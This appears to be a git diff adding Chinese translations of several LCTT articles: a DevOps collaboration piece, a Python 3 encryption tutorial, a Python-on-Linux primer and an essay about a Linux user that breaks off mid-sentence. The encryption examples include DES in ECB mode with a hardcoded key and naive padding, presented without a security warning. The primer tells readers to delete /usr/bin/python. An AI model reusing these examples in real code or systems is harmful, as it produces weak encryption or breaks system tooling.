平台和工具都是以可扩展性为设计理念的。DevOps 环境通常运行在云端,并且容易发生变化。对于DevOps 软件来说,支持实时伸缩以解决冲突和摩擦是重要的。这同样对于人的因素也是一样的,但弹性合作却是完全不同的。 + +跨企业协同是 DevOps 成功的关键。好的代码和开发最终需要形成产品才能给用户带来价值。公司所面临的挑战是如何做到无缝衔接和尽可能的提高速度及自动化水平,而不是牺牲质量或性能。企业如何才能流水线化代码的开发和部署,同时保持维护工作的明晰、可控和合规? + +### 新兴趋势 + +首先,我先提供一些背景,分享一些 [451 Research][2] 在 DevOps 及其常规应用方面获取的数据。云、敏捷和Devops 的能力在今天是非常重要的,不管是理念还是现实。451 研究公司发现采用这些东西以及容器技术的企业在不断增多,包括在生产环境中的大量使用。 + +拥抱这些技术和方式有许多优点,比如提高灵活性和速度,降低成本,提高适应能力和可靠性,适应新的或新兴的应用。据 451 Research 称,团队也面临着一些障碍,包括缺乏熟悉其中所需的技能的人、这些新兴技术的不成熟、成本和安全问题等。 + +在 “[Voice of the Enterprise: SDI Q4 2015 survey][2]” 报告中,451 Research 发现超过一半的受访者(57.1%)考虑他们稍晚些再采用,甚至会最后才采用这些新技术。另一方面,近半受访者(48.3 %)认为自己是率先或早期的采用者。 + +这些普遍性的情绪也表现在对其他问题的调查中。当问起容器的执行情况时,50.3% 的人表示这根本不在他们的计划中。剩下 49.7% 的人则是在计划、试点或积极使用容器技术。近 2/3(65.1%)的人表示,他们用敏捷开发方式来开发应用,但是只有 39.6% 的人回应称他们正在积极拥抱 DevOps。然而,敏捷软件开发已经在行业内存在了多年,451 Research 注意到容器和 Devops 的采用率显著提升,这是一个新的趋势。 + +当被问及首要的三个 IT 痛点是什么,被提及最多的是成本或预算、人员不足和遗留软件问题。随着企业向云、DevOps、和容器等转型,这些问题都需要加以解决,以及如何规划技术和有效协作。 + +### 当前状况 + +软件行业正处于急剧变化之中,这很大程度是由 DevOps 所推动的,它使得软件开发变得越来越横跨整个业务高度集成。软件的开发变得不再闭门造车,而越来越体现协作和社交化的功能。 + +几年还是在小说和展板中的理念和方法迅速成熟,成为了今天推动价值的主流技术和框架。企业依靠如敏捷、精益、虚拟化、云计算、自动化和微服务等概念来简化开发,同时使工作更加有效和高效。 + +为了适应和发展,企业需要完成一系列的关键任务。当今面临的挑战是如何加快发展的同时降低成本。团队需要消除 IT 和其他业务之间存在的障碍,并在一个由技术驱动的竞争环境中提供更多有效的战略合作。 + +敏捷、云计算、DevOps 和容器在这个过程中起着重要的作用,而将它们连接在一起的是有效的合作。每一种技术和方法都提供了独特的优势,但真正的价值来自于团队作为一个整体能够进行规模协同,以及团队所使用的工具和平台。成功的 DevOps 的实现也需要开发和 IT 运营团队之外其他利益相关者的参与,包括安全、数据库、存储和业务队伍。 + +### 合作即平台 + +有一些在线的服务和平台,比如 Github 促进和增进了协作。这个在线平台的功能是一个在线代码库,但是所产生的价值远超乎存储代码。 + +这样一个[协作平台][4]之所以有助于开发人员和团队合作,是因为它提供了一个可以分享和讨论代码和流程的社区。管理者可以监视进度和跟踪将要发布的代码。开发人员在将实验性的想法放到实际的产品环境中之前,可以在一个安全的环境中进行实验,新的想法和实验可以有效地与适当的团队进行沟通。 + +更加敏捷的开发和 DevOps 的关键之一是允许开发人员测试一些东西并快速收集相关的反馈。目标是生产高质量的代码和功能,而不是浪费时间建立和管理基础设施或者安排更多的会议来讨论这个问题。比如 GitHub 平台,能够更有效的和可扩展的协作是因为当参与者想要进行代码审查时很方便。不需要尝试协调和安排代码审查会议,所以开发人员可以继续工作而不被打断,从而产生更大的生产力和工作满意度。 + +Sendachi 的 Steven Anderson 指出,Github 是一个协作平台,但它也是一个和你一起工作的工具。这样意味着它不仅可以帮助协作和持续集成,还影响了代码质量。 + +合作平台的好处之一是,大型团队的开发人员可以分解成更小的团队,可以更有效地专注于特定的组件。它还提供了诸如文件共享这样的代码之外的功能,模糊了技术和非技术的贡献,增加了协作和可见性。 + +### 合作是关键 + +合作的重要性不言而喻。合作是 DevOps 文化的关键,也是在当今世界能够进行敏捷开发并保持竞争优势的决定因素。执行或管理支持以及内部传道是很重要的。团队还需要拥抱文化的转变---迈向共同目标的跨职能部门的技能融合。 + +要建立起来这样的文化,有效的合作是至关重要的。一个合作平台是弹性合作的必要组件,因为简化了生产活动,并且减少了冗余和尝试,同时还产生了更高质量的结果。 + +-------------------------------------------------------------------------------- + +via: http://devops.com/2016/05/16/scaling-collaboration-devops/ + +作者:[TONY BRADLEY][a] +译者:[Bestony](https://github.com/Bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://devops.com/author/tonybsg/ +[1]: http://devops.com/2014/12/15/four-strategies-supporting-devops-collaboration/ +[2]: https://451research.com/ +[3]: https://451research.com/customer-insight-voice-of-the-enterprise-overview +[4]: http://devops.com/events/analytics-of-collaboration-on-github/ diff --git a/published/201608/20160518 Python 3 - An Intro to Encryption.md b/published/201608/20160518 Python 3 - An Intro to Encryption.md new file mode 100644 index 0000000000..cb37986f4c --- /dev/null +++ b/published/201608/20160518 Python 3 - An Intro to Encryption.md @@ -0,0 +1,267 @@ +Python 3: 加密简介 +=================================== + +Python 3 的标准库中没多少用来解决加密的,不过却有用于处理哈希的库。在这里我们会对其进行一个简单的介绍,但重点会放在两个第三方的软件包:PyCrypto 和 cryptography 上。我们将学习如何使用这两个库,来加密和解密字符串。 + +### 哈希 + +如果需要用到安全哈希算法或是消息摘要算法,那么你可以使用标准库中的 **hashlib** 模块。这个模块包含了符合 FIPS(美国联邦信息处理标准)的安全哈希算法,包括 SHA1,SHA224,SHA256,SHA384,SHA512 以及 RSA 的 MD5 算法。Python 也支持 adler32 以及 crc32 哈希函数,不过它们在 **zlib** 模块中。 + +哈希的一个最常见的用法是,存储密码的哈希值而非密码本身。当然了,使用的哈希函数需要稳健一点,否则容易被破解。另一个常见的用法是,计算一个文件的哈希值,然后将这个文件和它的哈希值分别发送。接收到文件的人可以计算文件的哈希值,检验是否与接受到的哈希值相符。如果两者相符,就说明文件在传送的过程中未经篡改。 + +让我们试着创建一个 md5 哈希: + +``` +>>> import hashlib +>>> md5 = hashlib.md5() +>>> md5.update('Python rocks!') +Traceback (most recent call last): + File "", line 1, in + md5.update('Python rocks!') +TypeError: Unicode-objects must be encoded before hashing +>>> md5.update(b'Python rocks!') +>>> md5.digest() +b'\x14\x82\xec\x1b#d\xf6N}\x16*+[\x16\xf4w' +``` + +让我们花点时间一行一行来讲解。首先,我们导入 **hashlib** ,然后创建一个 md5 哈希对象的实例。接着,我们向这个实例中添加一个字符串后,却得到了报错信息。原来,计算 md5 哈希时,需要使用字节形式的字符串而非普通字符串。正确添加字符串后,我们调用它的 **digest** 函数来得到哈希值。如果你想要十六进制的哈希值,也可以用以下方法: + +``` +>>> md5.hexdigest() +'1482ec1b2364f64e7d162a2b5b16f477' +``` + +实际上,有一种精简的方法来创建哈希,下面我们看一下用这种方法创建一个 sha1 哈希: + +``` +>>> sha = hashlib.sha1(b'Hello Python').hexdigest() +>>> sha +'422fbfbc67fe17c86642c5eaaa48f8b670cbed1b' +``` + +可以看到,我们可以同时创建一个哈希实例并且调用其 digest 函数。然后,我们打印出这个哈希值看一下。这里我使用 sha1 哈希函数作为例子,但它不是特别安全,读者可以随意尝试其他的哈希函数。 + +### 密钥导出 + +Python 的标准库对密钥导出支持较弱。实际上,hashlib 函数库提供的唯一方法就是 **pbkdf2_hmac** 函数。它是 PKCS#5 的基于口令的第二个密钥导出函数,并使用 HMAC 作为伪随机函数。因为它支持“加盐(salt)”和迭代操作,你可以使用类似的方法来哈希你的密码。例如,如果你打算使用 SHA-256 加密方法,你将需要至少 16 个字节的“盐”,以及最少 100000 次的迭代操作。 + +简单来说,“盐”就是随机的数据,被用来加入到哈希的过程中,以加大破解的难度。这基本可以保护你的密码免受字典和彩虹表(rainbow table)的攻击。 + +让我们看一个简单的例子: + +``` +>>> import binascii +>>> dk = hashlib.pbkdf2_hmac(hash_name='sha256', + password=b'bad_password34', + salt=b'bad_salt', + iterations=100000) +>>> binascii.hexlify(dk) +b'6e97bad21f6200f9087036a71e7ca9fa01a59e1d697f7e0284cd7f9b897d7c02' +``` + +这里,我们用 SHA256 对一个密码进行哈希,使用了一个糟糕的盐,但经过了 100000 次迭代操作。当然,SHA 实际上并不被推荐用来创建密码的密钥。你应该使用类似 **scrypt** 的算法来替代。另一个不错的选择是使用一个叫 **bcrypt** 的第三方库,它是被专门设计出来哈希密码的。 + +### PyCryptodome + +PyCrypto 可能是 Python 中密码学方面最有名的第三方软件包。可惜的是,它的开发工作于 2012 年就已停止。其他人还在继续发布最新版本的 PyCrypto,如果你不介意使用第三方的二进制包,仍可以取得 Python 3.5 的相应版本。比如,我在 Github (https://github.com/sfbahr/PyCrypto-Wheels) 上找到了对应 Python 3.5 的 PyCrypto 二进制包。 + +幸运的是,有一个该项目的分支 PyCrytodome 取代了 PyCrypto 。为了在 Linux 上安装它,你可以使用以下 pip 命令: + +``` +pip install pycryptodome +``` + +在 Windows 系统上安装则稍有不同: + +``` +pip install pycryptodomex +``` + +如果你遇到了问题,可能是因为你没有安装正确的依赖包(LCTT 译注:如 python-devel),或者你的 Windows 系统需要一个编译器。如果你需要安装上的帮助或技术支持,可以访问 PyCryptodome 的[网站][1]。 + +还值得注意的是,PyCryptodome 在 PyCrypto 最后版本的基础上有很多改进。非常值得去访问它们的主页,看看有什么新的特性。 + +#### 加密字符串 + +访问了他们的主页之后,我们可以看一些例子。在第一个例子中,我们将使用 DES 算法来加密一个字符串: + +``` +>>> from Crypto.Cipher import DES +>>> key = 'abcdefgh' +>>> def pad(text): + while len(text) % 8 != 0: + text += ' ' + return text +>>> des = DES.new(key, DES.MODE_ECB) +>>> text = 'Python rocks!' +>>> padded_text = pad(text) +>>> encrypted_text = des.encrypt(text) +Traceback (most recent call last): + File "", line 1, in + encrypted_text = des.encrypt(text) + File "C:\Programs\Python\Python35-32\lib\site-packages\Crypto\Cipher\blockalgo.py", line 244, in encrypt + return self._cipher.encrypt(plaintext) +ValueError: Input strings must be a multiple of 8 in length +>>> encrypted_text = des.encrypt(padded_text) +>>> encrypted_text +b'>\xfc\x1f\x16x\x87\xb2\x93\x0e\xfcH\x02\xd59VQ' +``` + +这段代码稍有些复杂,让我们一点点来看。首先需要注意的是,DES 加密使用的密钥长度为 8 个字节,这也是我们将密钥变量设置为 8 个字符的原因。而我们需要加密的字符串的长度必须是 8 的倍数,所以我们创建了一个名为 **pad** 的函数,来给一个字符串末尾填充空格,直到它的长度是 8 的倍数。然后,我们创建了一个 DES 的实例,以及我们需要加密的文本。我们还创建了一个经过填充处理的文本。我们尝试着对未经填充处理的文本进行加密,啊欧,报了一个 ValueError 错误!我们需要对经过填充处理的文本进行加密,然后得到加密的字符串。(LCTT 译注:encrypt 函数的参数应为 byte 类型字符串,代码为:`encrypted_text = des.encrypt(padded_text.encode('utf-8'))`) + +知道了如何加密,还要知道如何解密: + +``` +>>> des.decrypt(encrypted_text) +b'Python rocks! ' +``` + +幸运的是,解密非常容易,我们只需要调用 des 对象的 **decrypt** 方法就可以得到我们原来的 byte 类型字符串了。下一个任务是学习如何用 RSA 算法加密和解密一个文件。首先,我们需要创建一些 RSA 密钥。 + +#### 创建 RSA 密钥 + +如果你希望使用 RSA 算法加密数据,那么你需要拥有访问 RAS 公钥和私钥的权限,否则你需要生成一组自己的密钥对。在这个例子中,我们将生成自己的密钥对。创建 RSA 密钥非常容易,所以我们将在 Python 解释器中完成。 + +``` +>>> from Crypto.PublicKey import RSA +>>> code = 'nooneknows' +>>> key = RSA.generate(2048) +>>> encrypted_key = key.exportKey(passphrase=code, pkcs=8, + protection="scryptAndAES128-CBC") +>>> with open('/path_to_private_key/my_private_rsa_key.bin', 'wb') as f: + f.write(encrypted_key) +>>> with open('/path_to_public_key/my_rsa_public.pem', 'wb') as f: + f.write(key.publickey().exportKey()) +``` + +首先我们从 **Crypto.PublicKey** 包中导入 **RSA**,然后创建一个傻傻的密码。接着我们生成 2048 位的 RSA 密钥。现在我们到了关键的部分。为了生成私钥,我们需要调用 RSA 密钥实例的 **exportKey** 方法,然后传入密码,使用的 PKCS 标准,以及加密方案这三个参数。之后,我们把私钥写入磁盘的文件中。 + +接下来,我们通过 RSA 密钥实例的 **publickey** 方法创建我们的公钥。我们使用方法链调用 publickey 和 exportKey 方法生成公钥,同样将它写入磁盘上的文件。 + +#### 加密文件 + +有了私钥和公钥之后,我们就可以加密一些数据,并写入文件了。这里有个比较标准的例子: + +``` +from Crypto.PublicKey import RSA +from Crypto.Random import get_random_bytes +from Crypto.Cipher import AES, PKCS1_OAEP + +with open('/path/to/encrypted_data.bin', 'wb') as out_file: + recipient_key = RSA.import_key( + open('/path_to_public_key/my_rsa_public.pem').read()) + session_key = get_random_bytes(16) + + cipher_rsa = PKCS1_OAEP.new(recipient_key) + out_file.write(cipher_rsa.encrypt(session_key)) + + cipher_aes = AES.new(session_key, AES.MODE_EAX) + data = b'blah blah blah Python blah blah' + ciphertext, tag = cipher_aes.encrypt_and_digest(data) + + out_file.write(cipher_aes.nonce) + out_file.write(tag) + out_file.write(ciphertext) +``` + +代码的前三行导入 PyCryptodome 包。然后我们打开一个文件用于写入数据。接着我们导入公钥赋给一个变量,创建一个 16 字节的会话密钥。在这个例子中,我们将使用混合加密方法,即 PKCS#1 OAEP ,也就是最优非对称加密填充。这允许我们向文件中写入任意长度的数据。接着我们创建 AES 加密,要加密的数据,然后加密数据。我们将得到加密的文本和消息认证码。最后,我们将随机数,消息认证码和加密的文本写入文件。 + +顺便提一下,随机数通常是真随机或伪随机数,只是用来进行密码通信的。对于 AES 加密,其密钥长度最少是 16 个字节。随意用一个你喜欢的编辑器试着打开这个被加密的文件,你应该只能看到乱码。 + +现在让我们学习如何解密我们的数据。 + +``` +from Crypto.PublicKey import RSA +from Crypto.Cipher import AES, PKCS1_OAEP + +code = 'nooneknows' + +with open('/path/to/encrypted_data.bin', 'rb') as fobj: + private_key = RSA.import_key( + open('/path_to_private_key/my_rsa_key.pem').read(), + passphrase=code) + + enc_session_key, nonce, tag, ciphertext = [ fobj.read(x) + for x in (private_key.size_in_bytes(), + 16, 16, -1) ] + + cipher_rsa = PKCS1_OAEP.new(private_key) + session_key = cipher_rsa.decrypt(enc_session_key) + + cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce) + data = cipher_aes.decrypt_and_verify(ciphertext, tag) + +print(data) +``` + +如果你认真看了上一个例子,这段代码应该很容易解析。在这里,我们先以二进制模式读取我们的加密文件,然后导入私钥。注意,当你导入私钥时,需要提供一个密码,否则会出现错误。然后,我们文件中读取数据,首先是加密的会话密钥,然后是 16 字节的随机数和 16 字节的消息认证码,最后是剩下的加密的数据。 + +接下来我们需要解密出会话密钥,重新创建 AES 密钥,然后解密出数据。 + +你还可以用 PyCryptodome 库做更多的事。不过我们要接着讨论在 Python 中还可以用什么来满足我们加密解密的需求。 + +### cryptography 包 + +**cryptography** 的目标是成为“人类易于使用的密码学包(cryptography for humans)”,就像 **requests** 是“人类易于使用的 HTTP 库(HTTP for Humans)”一样。这个想法使你能够创建简单安全、易于使用的加密方案。如果有需要的话,你也可以使用一些底层的密码学基元,但这也需要你知道更多的细节,否则创建的东西将是不安全的。 + +如果你使用的 Python 版本是 3.5, 你可以使用 pip 安装,如下: + +``` +pip install cryptography +``` + +你会看到 cryptography 包还安装了一些依赖包(LCTT 译注:如 libopenssl-devel)。如果安装都顺利,我们就可以试着加密一些文本了。让我们使用 **Fernet** 对称加密算法,它保证了你加密的任何信息在不知道密码的情况下不能被篡改或读取。Fernet 还通过 **MultiFernet** 支持密钥轮换。下面让我们看一个简单的例子: + +``` +>>> from cryptography.fernet import Fernet +>>> cipher_key = Fernet.generate_key() +>>> cipher_key +b'APM1JDVgT8WDGOWBgQv6EIhvxl4vDYvUnVdg-Vjdt0o=' +>>> cipher = Fernet(cipher_key) +>>> text = b'My super secret message' +>>> encrypted_text = cipher.encrypt(text) +>>> encrypted_text +(b'gAAAAABXOnV86aeUGADA6mTe9xEL92y_m0_TlC9vcqaF6NzHqRKkjEqh4d21PInEP3C9HuiUkS9f' + b'6bdHsSlRiCNWbSkPuRd_62zfEv3eaZjJvLAm3omnya8=') +>>> decrypted_text = cipher.decrypt(encrypted_text) +>>> decrypted_text +b'My super secret message' +``` + +首先我们需要导入 Fernet,然后生成一个密钥。我们输出密钥看看它是什么样儿。如你所见,它是一个随机的字节串。如果你愿意的话,可以试着多运行 **generate_key** 方法几次,生成的密钥会是不同的。然后我们使用这个密钥生成 Fernet 密码实例。 + +现在我们有了用来加密和解密消息的密码。下一步是创建一个需要加密的消息,然后使用 **encrypt** 方法对它加密。我打印出加密的文本,然后你可以看到你再也读不懂它了。为了解密出我们的秘密消息,我们只需调用 **decrypt** 方法,并传入加密的文本作为参数。结果就是我们得到了消息字节串形式的纯文本。 + + +### 小结 + +这一章仅仅浅显地介绍了 PyCryptodome 和 cryptography 这两个包的使用。不过这也确实给了你一个关于如何加密解密字符串和文件的简述。请务必阅读文档,做做实验,看看还能做些什么! + +--- + +### 相关阅读 + +[Github][2] 上 Python 3 的 PyCrypto Wheels + +PyCryptodome 的 [文档][3] + +Python’s 加密 [服务][4] + +Cryptography 包的 [官网][5] + +------------------------------------------------------------------------------ + +via: http://www.blog.pythonlibrary.org/2016/05/18/python-3-an-intro-to-encryption/ + +作者:[Mike][a] +译者:[Cathon](https://github.com/Cathon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.blog.pythonlibrary.org/author/mld/ +[1]: http://pycryptodome.readthedocs.io/en/latest/ +[2]: https://github.com/sfbahr/PyCrypto-Wheels +[3]: http://pycryptodome.readthedocs.io/en/latest/src/introduction.html +[4]: https://docs.python.org/3/library/crypto.html +[5]: https://cryptography.io/en/latest/ diff --git "a/published/201608/20160525 Getting Started with Python Programming and Scripting in Linux \342\200\223 Part 1.md" "b/published/201608/20160525 Getting Started with Python Programming and Scripting in Linux \342\200\223 Part 1.md" new file mode 100644 index 0000000000..a0caa58efa --- /dev/null +++ "b/published/201608/20160525 Getting Started with Python Programming and Scripting in Linux \342\200\223 Part 1.md" @@ -0,0 +1,191 @@ +Linux 平台下 Python 脚本编程入门(一) +=============================================================================== + +众所周知,系统管理员需要精通一门脚本语言,而且招聘机构列出的职位需求上也会这么写。大多数人会认为 Bash (或者其他的 shell 语言)用起来很方便,但一些强大的语言(比如 Python)会给你带来一些其它的好处。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Learn-Python-Programming-Scripting-in-Linux.png) + +*在 Linux 中学习 Python 脚本编程* + +首先,我们会使用 Python 的命令行工具,还会接触到 Python 的面向对象特性(这篇文章的后半部分会谈到它)。 + +学习 Python 可以助力于你在[桌面应用开发][2]及[数据科学领域][3]的职业发展。 + +容易上手,广泛使用,拥有海量“开箱即用”的模块(它是一组包含 Python 语句的外部文件),Python 理所当然地成为了美国计算机专业大学生在一年级时所上的程序设计课所用语言的不二之选。 + +在这个由两篇文章构成的系列中,我们将回顾 Python 的基础部分,希望初学编程的你能够将这篇实用的文章作为一个编程入门的跳板,和日后使用 Python 时的一篇快速指引。 + +### Linux 中的 Python + +Python 2.x 和 3.x 通常已经内置在现代 Linux 发行版中,你可以立刻使用它。你可以终端模拟器中输入 `python` 或 `python3` 来进入 Python shell, 并输入 `quit()` 退出。 + +``` +$ which python +$ which python3 +$ python -v +$ python3 -v +$ python +>>> quit() +$ python3 +>>> quit() +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Running-Python-Commands-on-Linux.png) + +*在 Linux 中运行 Python 命令* + +如果你希望在键入 `python` 时使用 Python 3.x 而不是 2.x,你可以像下面一样更改对应的符号链接: + +``` +$ sudo rm /usr/bin/python +$ cd /usr/bin +$ ln -s python3.2 python # Choose the Python 3.x binary here +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Remove-Python-2-and-Use-Python-3.png) + +*删除 Python 2,使用 Python 3* + +顺便一提,有一点需要注意:尽管 Python 2.x 仍旧被使用,但它并不会被积极维护。因此,你可能要考虑像上面指示的那样来切换到 3.x。2.x 和 3.x 的语法有一些不同,我们会在这个系列文章中使用后者。 + +另一个在 Linux 中使用 Python 的方法是通过 IDLE (the Python Integrated Development Environment),这是一个为编写 Python 代码而生的图形用户界面。在安装它之前,你最好查看一下适用于你的 Linux 发行版的 IDLE 可用版本。 + +``` +# aptitude search idle [Debian 及其衍生发行版] +# yum search idle [CentOS 和 Fedora] +# dnf search idle [Fedora 23+ 版本] +``` + +然后,你可以像下面一样安装它: + +``` +$ sudo aptitude install idle-python3.2 # I'm using Linux Mint 13 +``` + +安装成功后,你会看到 IDLE 的运行画面。它很像 Python shell,但是你可以用它做更多 Python shell 做不了的事。 + +比如,你可以: + +1. 轻松打开外部文件 (File → Open); + + ![](http://www.tecmint.com/wp-content/uploads/2016/05/Python-Shell.png) + + *Python Shell* + +2. 复制 (`Ctrl + C`) 和粘贴 (`Ctrl + V`) 文本; +3. 查找和替换文本; +4. 显示可能的代码补全(一个在其他 IDE 里可能叫做“智能感知”或者“自动补完”的功能); +5. 更改字体和字号,等等。 + +最厉害的是,你可以用 IDLE 创建桌面应用。 + +我们在这两篇文章中不会开发桌面应用,所以你可以根据喜好来选择 IDLE 或 Python shell 去运行下面的例子。 + +### Python 中的基本运算 + +就像你预料的那样,你能够直接进行算术操作(你可以在你的所有运算中使用足够多的括号!),还可以轻松地使用 Python 拼接字符串。 + +你还可以将运算结果赋给一个变量,然后在屏幕上显示它。Python 有一个叫做拼接 (concatenation) 的实用功能——给 print 函数提供一串用逗号分隔的变量和/或字符串,它会返回一个由你刚才提供的变量依序构成的句子: + +``` +>>> a = 5 +>>> b = 8 +>>> x = b / a +>>> x +1.6 +>>> print(b, "divided by", a, "equals", x) +``` + +注意,你可以将不同类型的变量(数字,字符串,布尔符号等等)混合在一起。当你将一个值赋给一个变量后,你可以随后更改它的类型,不会有任何问题(因此,Python 被称为动态类型语言)。 + +如果你尝试在静态类型语言中(如 Java 或 C#)做这件事,它将抛出一个错误。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Learn-Python-Basic-Operations.png) + +*学习 Python 的基本操作* + +### 面向对象编程的简单介绍 + +在面向对象编程(OOP)中,程序中的所有实体都会由对象的形式呈现,并且它们可以与其他对象交互。因此,对象拥有属性,而且大多数对象可以执行动作(这被称为对象的方法)。 + +举个例子:我们来想象一下,创建一个对象“狗”。它可能拥有的一些属性有`颜色`、`品种`、`年龄`等等,而它可以完成的动作有 `叫()`、`吃()`、`睡觉()`,诸如此类。 + +你可以看到,方法名后面会跟着一对括号,括号当中可能会包含一个或多个参数(向方法中传递的值),也有可能什么都不包含。 + +我们用 Python 的基本对象类型之一——列表来解释这些概念。 + +### 解释对象的属性和方法:Python 中的列表 + +列表是条目的有序组合,而这些条目所属的数据类型并不需要相同。我们像下面一样来使用一对方括号,来创建一个名叫 `rockBands` 的列表: + +你可以向 `rockBands` 的 `append()` 方法传递条目,来将它添加到列表的尾部,就像下面这样: + +``` +>>> rockBands = [] +>>> rockBands.append("The Beatles") +>>> rockBands.append("Pink Floyd") +>>> rockBands.append("The Rolling Stones") +``` + +为了从列表中移除元素,我们可以向 `remove()` 方法传递特定元素,或向 `pop()` 中传递列表中待删除元素的位置(从 0 开始计数)。 + +换句话说,我们可以用下面这种方法来从列表中删除 “The Beatles”: + +``` +>>> rockBands.remove("The Beatles") +``` + +或者用这种方法: + +``` +>>> rockBands.pop(0) +``` + +如果你输入了对象的名字,然后在后面输入了一个点,你可以按 `Ctrl + space` 来显示这个对象的可用方法列表。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/List-Available-Python-Methods.png) + +*列出可用的 Python 方法* + +列表中含有的元素个数是它的一个属性。它通常被叫做“长度”,你可以通过向内建函数 `len` 传递一个列表作为它的参数来显示该列表的长度(顺便一提,之前的例子中提到的 print 语句,是 Python 的另一个内建函数)。 + +如果你在 IDLE 中输入 `len`,然后跟上一个不闭合的括号,你会看到这个函数的默认语法: + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Python-len-Function.png) + +*Python 的 len 函数* + +现在我们来看看列表中的特定条目。它们也有属性和方法吗?答案是肯定的。比如,你可以将一个字符串条目转换为大写形式,并获取这个字符串所包含的字符数量。像下面这样做: + +``` +>>> rockBands[0].upper() +'THE BEATLES' +>>> len(rockBands[0]) +11 +``` + +### 总结 + +在这篇文章中,我们简要介绍了 Python、它的命令行 shell、IDLE,展示了如何执行算术运算,如何在变量中存储数据,如何使用 `print` 函数在屏幕上重新显示那些数据(无论是它们本身还是它们的一部分),还通过一个实际的例子解释了对象的属性和方法。 + +下一篇文章中,我们会展示如何使用条件语句和循环语句来实现流程控制。我们也会解释如何编写一个脚本来帮助我们完成系统管理任务。 + +你是不是想继续学习一些有关 Python 的知识呢?敬请期待本系列的第二部分(我们会在脚本中将 Python 和命令行工具的优点结合在一起),你还可以考虑购买我们的《终极 Python 编程》系列教程([这里][4]有详细信息)。 + +像往常一样,如果你对这篇文章有什么问题,可以向我们寻求帮助。你可以使用下面的联系表单向我们发送留言,我们会尽快回复你。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/learn-python-programming-and-scripting-in-linux/ + +作者:[Gabriel Cánepa][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/gacanepa/ +[1]: http://www.tecmint.com/category/bash-shell/ +[2]: http://www.tecmint.com/create-gui-applications-in-linux/ +[3]: http://www.datasciencecentral.com/profiles/blogs/the-guide-to-learning-python-for-data-science-2 +[4]: http://www.tecmint.com/learn-python-programming-online-with-ultimate-python-coding/ diff --git a/published/201608/20160531 The Anatomy of a Linux User.md b/published/201608/20160531 The Anatomy of a Linux User.md new file mode 100644 index 0000000000..750df665f5 --- /dev/null +++ b/published/201608/20160531 The Anatomy of a Linux User.md @@ -0,0 +1,54 @@ +深入理解 Linux 用戶 +================================ + +**一些新的 GNU/Linux 用户很清楚 Linux 不是 Windows,但其他人对此则不甚了解,而最好的发行版设计者们则会谨记着这两种人的存在。** + +### Linux 的核心 + +不管怎么说,Nicky 看起来都不太引人注目。她已经三十岁了,却决定在离开学校多年后回到学校学习。她在海军待了六年,后来接受了一份老友给她的新工作,想试试这份工作会不会比她在军队的工作更有前途。这种换工作的事情在战后的军事后勤处非常常见。我正是因此而认识的她。她那时是一个八个州的货车运输业中介组织的区域经理,而那会我在达拉斯跑肉品包装工具的运输。 + +![](http://i2.wp.com/fossforce.com/wp-content/uploads/2016/05/anatomy.jpg?w=525) + +Nicky 和我在 2006 年成为了好朋友。她很外向,几乎每一个途经她负责的线路上的人她都乐于接触。我们经常星期五晚上相约去一家室内激光枪战中心打真人 CS。像这样一次就打三个的半小时战役对我们来说并不鲜见。或许这并不像彩弹游戏(LCTT 译注:一种军事游戏,双方以汽枪互射彩色染料弹丸,对方被击中后衣服上会留下彩色印渍即表示“被消灭”——必应词典)一样便宜,但是它很有临场感,还稍微有点恐怖游戏的感觉。某次活动的时候,她问我能否帮她维修电脑。 + +她知道我在为了让一些贫穷的孩子能拥有他们自己的电脑而奔走,当她抱怨她的电脑很慢的时候,我开玩笑地说她可以给比尔盖茨的 401k 计划交钱了(LCTT 译注:401k 计划始于20世纪80年代初,是一种由雇员、雇主共同缴费建立起来的完全基金式的养老保险制度。此处隐喻需要购买新电脑而向比尔盖茨的微软公司付费软件费用。)。Nicky 却说这是了解 Linux 的最佳时间。 + +她的电脑是品牌机,是个带有 Dell 19'' 显示器的 2005 年中款的华硕电脑。不幸的是,这台电脑没有好好照料,上面充斥着所能找到的各种关都关不掉的工具栏和弹窗软件。我们把电脑上的文件都做了备份之后就开始安装 Linux 了。我们一起完成了安装,并且确信她知道了如何分区。不到一个小时,她的电脑上就有了一个“金闪闪”的 PCLinuxOS 桌面。 + +在她操作新系统时,她经常评论这个系统看起来多么漂亮。她并非随口一说;她为眼前光鲜亮丽的桌面着了魔。她说她的桌面漂亮的就像化了“彩妆”一样。这是我在安装系统期间特意设置的,我每次安装 Linux 的时候都会把它打扮的漂漂亮亮的。我希望这些桌面让每个人看起来都觉得漂亮。 + +大概第一周左右,她通过电话和邮件问了我一些常规问题,而最主要的问题还是她想知道如何保存她 OpenOffice 文件才可以让她的同事也可以打开这些文件。教一个人使用 Linux 或者 Open/LibreOffice 的时候最重要的就是教她保存文件。大多数用户在弹出的对话框中直接点了保存,结果就用默认的开放文档格式(Open Document Format)保存了,这让他们吃了不少苦头。 + +曾经有过这么一件事,大约一年前或者更久,一个高中生说他没有通过期末考试,因为教授不能打开包含他的论文的文件。这引来了一些读者的激烈评论,大家都不知道这件事该怪谁,这孩子没错,而他的教授,似乎也没错。 + +我认识的一些大学教授他们每一个人都知道怎么打开 ODF 文件。另外,那个该死的微软在这方面做得真 XX 的不错,我觉得微软 Office 现在已经能打开 ODT 或者 ODF 文件了。不过我也不确定,毕竟我从 2005 年就没用过 Microsoft Office 了。 + +甚至在过去糟糕的日子里,微软公开而悍然地通过产品绑架的方式来在企业桌面领域推行他们的软件时,我和一些微软 Office 的用户在开展业务和洽谈合作时从来没有出现过问题,因为我会提前想到可能出现的问题并且不会有侥幸心理。我会发邮件给他们询问他们正在使用的 Office 版本。这样,我就可以确保以他们能够读写的格式保存文件。 + +说回 Nicky ,她花了很多时间学习她的 Linux 